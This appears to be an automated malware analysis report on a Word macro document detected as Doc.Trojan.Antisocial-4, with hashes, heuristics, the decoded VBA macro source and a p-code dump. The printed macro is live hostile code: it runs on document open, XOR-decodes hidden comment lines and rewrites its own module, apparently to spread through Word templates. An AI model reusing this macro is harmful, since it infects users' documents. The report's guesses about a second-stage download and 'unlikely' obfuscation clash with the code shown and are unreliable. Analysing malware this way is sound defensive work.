Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d71e50759fe4af14…

MALICIOUS

Office (OLE)

38.5 KB Created: 1999-09-02 04:28:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 735ef8eb6bbfb64cbf3674b52aa63be8 SHA-1: d817c15e67d5600805ff17f6af41886d30831c8f SHA-256: d71e50759fe4af146aaaa32cc0964f16ae3c05960277b6d222cee3db72613422
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing VBA macros. The Document_Open macro is present and appears to be responsible for executing the malicious payload. The ClamAV detection name 'Doc.Trojan.Antisocial-4' suggests it's a known trojan. The macro's obfuscated code likely attempts to download and execute a second-stage payload.

Heuristics 3

  • ClamAV: Doc.Trojan.Antisocial-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Antisocial-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4455 bytes
SHA-256: bf917fdd1d56808f3b8a80ccf2ee8ea3ce4eee10b7a47eb7276cf12b7b31a4b7
Detection
ClamAV: Doc.Trojan.Antisocial-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open(): Application.EnableCancelKey = wdCancelDisabled
For d = 6 To 18: C$ = "": I = (ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(d, 1))
f = (Mid(I, 2, 1)): For X = 3 To Len(I): B$ = Asc(Mid(I, X, 1)) Xor f: C$ = C$ & Chr(B$): Next X: A = C$
ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine d, A: Next d: Call ViewVBCode: End Sub
Private Sub ViewVBCode()
'6Ivroihu(UgpcHitkgjVtikvr&;&6
'5Juqljkv+FjkclwhFjks`wvljkv%8%5?%Juqljkv+SlwpvUwjq`fqljk%8%5
'5V`q%FH%8%QmlvAjfph`kq+SGUwjo`fq+SGFjhujk`kqv+Lq`h-4,+Fja`Hjapi`
'3Pfw#BG#>#B`wjufGl`vnfmw-UASqlif`w-UA@lnslmfmwp-Jwfn+2*-@lgfNlgvof
'3Pfw#MW#>#MlqnboWfnsobwf-UASqlif`w-UA@lnslmfmwp-Jwfn+2*-@lgfNlgvof
'7Ahu'c':'1'Sh'6?='D#':'%%='N':'/DJ)Knibt/c+'6..
'1g!<!Hou)Soe!+!9(!*!0;!Gns!Y!<!0!Un!Mdo)H(;!C%!<!@rb)Lhe)H-!Y-!0((!Yns!g;!B%!<!B%!'!Bis)C%(;!Odyu!Y;!@!<!B%
'7SontChdrjbis)QEWuhmbds)QEDhjwhibist)Nsbj/6.)DhcbJhcrkb)UbwkfdbKnib'c+'% %'!'a'!'F='Ib s'c
'7JD':'DJ)Knibt/6+'DJ)DhrisHaKnibt.
'6GB(BcjcrcJohcu&7*&GB(EishrI`Johcu<&GB(Gbb@tikUrtoha&KE
'1OU/EdmdudMhodr!0-!OU/BntouNgMhodr;!OU/@eeGsnlRushof!LB
'4Egpmra@kgqiajp*WeraEw$BmhaJeia>9Egpmra@kgqiajp*BqhhJeia
'7 Fuebnsbu'E~'K~t'Lhqndl)))'Tr hu'Jn'Dhdlrt
End Sub

' Processing file: /opt/analyzer/scan_staging/eaab36ffcb18491ab38544214e000218.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 8231 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' 	BoS 0x0000 
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #1:
' 	StartForVariable 
' 	Ld d 
' 	EndForVariable 
' 	LitDI2 0x0006 
' 	LitDI2 0x0012 
' 	For 
' 	BoS 0x0000 
' 	LitStr 0x0000 ""
' 	St C$ 
' 	BoS 0x0000 
' 	Ld d 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ThisDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	Paren 
' 	St I 
' Line #2:
' 	Ld I 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	Paren 
' 	St False 
' 	BoS 0x0000 
' 	StartForVariable 
' 	Ld X 
' 	EndForVariable 
' 	LitDI2 0x0003 
' 	Ld I 
' 	FnLen 
' 	For 
' 	BoS 0x0000 
' 	Ld I 
' 	Ld X 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	ArgsLd Asc 0x0001 
' 	Ld False 
' 	Xor 
' 	St B$ 
' 	BoS 0x0000 
' 	Ld C$ 
' 	Ld B$ 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St C$ 
' 	BoS 0x0000 
' 	StartForVariable 
' 	Ld X 
' 	EndForVariable 
' 	NextVar 
' 	BoS 0x0000 
' 	Ld C$ 
' 	St A 
' Line #3:
' 	Ld d 
' 	Ld A 
' 	LitDI2 0x0001 
' 	Ld ThisDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall ReplaceLine 0x0002 
' 	BoS 0x0000 
' 	StartForVariable 
' 	Ld d 
' 	EndForVariable 
' 	NextVar 
' 	BoS 0x0000 
' 	ArgsCall (Call) ViewVBCode 0x0000 
' 	BoS 0x0000 
' 	EndSub 
' Line #4:
' 	FuncDefn (Private Sub ViewVBCode())
' Line #5:
' 	QuoteRem 0x0000 0x001D "6Ivroihu(UgpcHitkgjVtikvr&;&6"
' Line #6:
' 	QuoteRem 0x0000 0x003C "5Juqljkv+FjkclwhFjks`wvljkv%8%5?%Juqljkv+SlwpvUwjq`fqljk%8%5"
' Line #7:
' 	QuoteRem 0x0000 0x0040 "5V`q%FH%8%QmlvAjfph`kq+SGUwjo`fq+SGFjhujk`kqv+Lq`h-4,+Fja`Hjapi`"
' Line #8:
' 	QuoteRem 0x0000 0x0042 "3Pfw#BG#>#B`wjufGl`vnfmw-UASqlif`w-UA@lnslmfmwp-Jwfn+2*-@lgfNlgvof"
' Line #9:
' 	QuoteRem 0x0000 0x0042 "3Pfw#MW#>#MlqnboWfnsobwf-UASqlif`w-UA@lnslmfmwp-Jwfn+2*-@lgfNlgvof"
' Line #10:
' 	QuoteRem 0x0000 0x002F "7Ahu'c':'1'Sh'6?='D#':'%%='N':'/DJ)Knibt/c+'6.."
' Line #11:
' 	QuoteRem 0x0000 0x006B "1g!<!Hou)Soe!+!9(!*!0;!Gns!Y!<!0!Un!Mdo)H(;!C%!<!@rb)Lhe)H-!Y-!0((!Yns!g;!B%!<!B%!'!Bis)C%(;!Odyu!Y;!@!<!B%"
' Line #12:
' 	QuoteRem 0x0000 0x005A "7SontChdrjbis)QEWuhmbds)QEDhjwhibist)Nsbj/6.)DhcbJhcrkb)UbwkfdbKnib'c+'% %'!'a'!'F='Ib s'c"
' Line #13:
' 	QuoteRem 0x0000 0x0022 "7JD':'DJ)Knibt/6+'DJ)DhrisHaKnibt."
' Line #14:
' 	QuoteRem 0x0000 0x0037 
... (truncated)

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